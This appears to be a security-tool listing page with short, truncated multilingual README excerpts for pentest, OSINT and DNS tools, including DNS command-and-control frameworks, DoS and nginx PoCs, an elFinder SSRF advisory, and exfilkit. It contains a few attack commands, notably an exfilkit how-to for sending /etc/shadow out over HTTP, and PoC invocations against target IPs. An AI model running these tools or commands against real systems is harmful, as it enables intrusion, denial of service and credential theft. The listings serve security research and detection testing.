pythem

pythem - Penetration Testing Framework pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law. I am not liable for any undue and unlawful act...

cve-2015-5477

PoC for BOND9 TKEY assert DoS CVE-2015-5477 This exploit tests to see if a BIND9 server is vulnerable by sending the exploit in order to see if it crashes. It's C code that you compile the normal way on Unix/Window, such as: root@kitploit: gcc tkill.c -o tkill It'll run over both IPv4 and IPv6...

mosint

Features • Installation • Services • Usage • Docker • Config • Screen Mosint is an automated email osint tool written in Go that allows you investigate for target emails in a fast and efficient manner. It consolidates numerous services, enabling security researchers to swiftly access a wealth of...

dnscat2

注意：.zip 下载文件的密码均为 "password"！ 简介 欢迎使用 dnscat2，一个不会让你生病和死亡的 DNS 隧道！ 该工具旨在通过 DNS 协议创建一个加密的命令与控制（C&C）通道，这是一种能有效穿越几乎所有网络的隧道。 本 README 文件应包含您开始使用所需的一切！如果您想深入了解协议细节、代码结构、未来计划或其他深奥内容，请查看 doc/ 文件夹。 许可证 本项目基于 BSD 许可证发布。请参阅 LICENSE.md 了解更多信息。 概述 dnscat2 由两部分组成：客户端和服务器。 客户端设计用于在受感染机器上运行。它用 C...

ghostbuster

Table of Contents Table of Contents Ghostbuster The problem Project Features Installing Ghostbuster Using Ghostbuster Example Output Setting up your AWS accounts Setting up Cloudflare Optional Authors License Ghostbuster Eliminate dangling elastic IPs by performing analysis on your resources with...

ghostbuster

目录 目录 Ghostbuster 问题描述 项目特性 安装 Ghostbuster 使用 Ghostbuster 输出示例 设置 AWS 账户 设置 Cloudflare（可选） 作者 许可证 Ghostbuster 通过分析你在所有 AWS 账户中的资源，消除悬挂的弹性 IP。 Ghostbuster 获取你所有 AWS 账户（Route53）中的全部 DNS 记录，并可选地通过 CSV 输入或 Cloudflare 获取记录。 收集完这些记录后，Ghostbuster 遍历你所有的 AWS 弹性 IP 和网络接口公共 IP 并收集数据。 通过拥有完整的 DNS 记录（来自...

GPT_Vuln-analyzer

GPTVuln-analyzer This is a Proof Of Concept application that demostrates how AI can be used to generate accurate results for vulnerability analysis and also allows further utilization of the already super useful ChatGPT made using openai-api, python-nmap, dnsresolver python modules and also use...

elFinder: SSRF protection bypass via DNS rebinding in the `fsock_get_contents()` fallback

poc.zip Summary elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery SSRF protection bypass when PHP cURL is unavailable and URL uploads use the fsockgetcontents fallback. An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially...

CVE-2026-81889

elFinder (open-source web file manager) contains an SSRF protection bypass in php/elFinder.class.php prior to version 2.1.70 . When PHP cURL is unavailable, get_remote_contents() falls back to fsock_get_contents(), which performs a second DNS resolution to $arr['host'] independent of the IP alrea...

EUVD-2026-68768

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, elFinder URL uploads in php/elFinder.class.php can bypass server-side request forgery protections when PHP cURL is unavailable because validateaddress validates $info'ip', but getremotecontent...

godoh

🕳 godoh A DNS-over-HTTPS Command & Control Proof of Concept introduction godoh is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use...

dnstwist

ユーザーがドメイン名を入力しようとして、どのようなトラブルに巻き込まれ得るかを確認しましょう。 攻撃者があなたを攻撃するために利用できる類似ドメインを検出します。タイポスクワッティング、 フィッシング攻撃、詐欺、ブランド冒充を検出できます。標的型脅威インテリジェンスの 追加情報源として有用です。 DNSファジングは、組織を標的とする悪意のあるドメインを発見することを目的とした自動化ワークフローです。 このツールは、指定されたドメイン名に基づいて包括的な置換リストを生成し、 その置換のいずれかが使用されているかを検証します。...

dnstwist

See what sort of trouble users can get in trying to type your domain name. Find lookalike domains that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud, and brand impersonation. Useful as an additional source of targeted threat intelligence. DNS fuzzing is an...

infoooze

Infoooze Report Bug · Request Feature Table of Content 1. About Infoooze Features Support 2. Getting Started Prerequisites Installation on Linux Installation on Android Uninstall 3. Usage Options Examples 4. Run in Gitpod 5. Contributing 6. License 7. Contact About Infoooze Infoooze is a powerful...

domain_analyzer

Domain Analyzer v0.8.3 What Domain analyzer is a security analysis tool that automatically discovers and reports information about a given domain. Its main purpose is to analyze domains in an unattended way. It has many crazy features, such as getting more domains from DNS zones, automatic nmap,...

domain_analyzer

Domain Analyzer v0.8.3 功能说明 Domain analyzer 是一款安全分析工具，能够自动发现并报告有关指定域的信息。其主要目的是以无人值守的方式分析域。 它拥有许多疯狂的功能，例如从 DNS 区域获取更多域、自动 nmap、网络爬虫以及世界统治模式。查看功能。 如果你希望 nmap 扫描更多端口、运行脚本，并在这些网站上运行爬虫，则需要拥有 root 权限。 默认选项示例 参见 asciinema 上的演示：https://asciinema.org/a/466274 运行原理 Domain analyzer 接收一个域名，并查找其相关信息，例如 DNS...

CVE-2021-23017-PoC

CVE-2021-23017-PoC root@kitploit: pip install -r requirements.txt python3 poc.py --target 172.1.16.100 --dnsserver 172.1.16.1 Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado par...

exfilkit

exfilkit Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow - HTTP GET requests Server root@kitploit: ./exfilkit-cli.py ...

exfilkit

exfilkit 用于测试检测能力的数据外泄工具 描述 用于测试安全产品检测能力的数据外泄工具。显然仅用于合法目的。 外泄操作指南 /etc/shadow - HTTP GET 请求 Server root@kitploit: ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log Client root@kitploit: $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -rh...

aiodnsbrute

异步DNS暴力破解 一个Python 3.5+工具，使用asyncio异步暴力破解域名。 速度 速度很快。 小规模VPS主机上的基准测试显示，约10万次DNS解析耗时1.5-2分钟。一台亚马逊M3机器在3分钟左右完成了100万次请求。实际速度可能因环境而异。如果你纯粹追求速度，最好避免使用谷歌的解析器。 免责声明 你的ISP和家用路由器的DNS服务器可能很糟。如果追求速度，请使用带有快速解析器的VPS（或自己搭建）。 警告 该工具可能产生大量DNS流量。如果你DoS了别人的DNS服务器，本人概不负责。 安装 root@kitploit: $ pip install aiodnsbrute...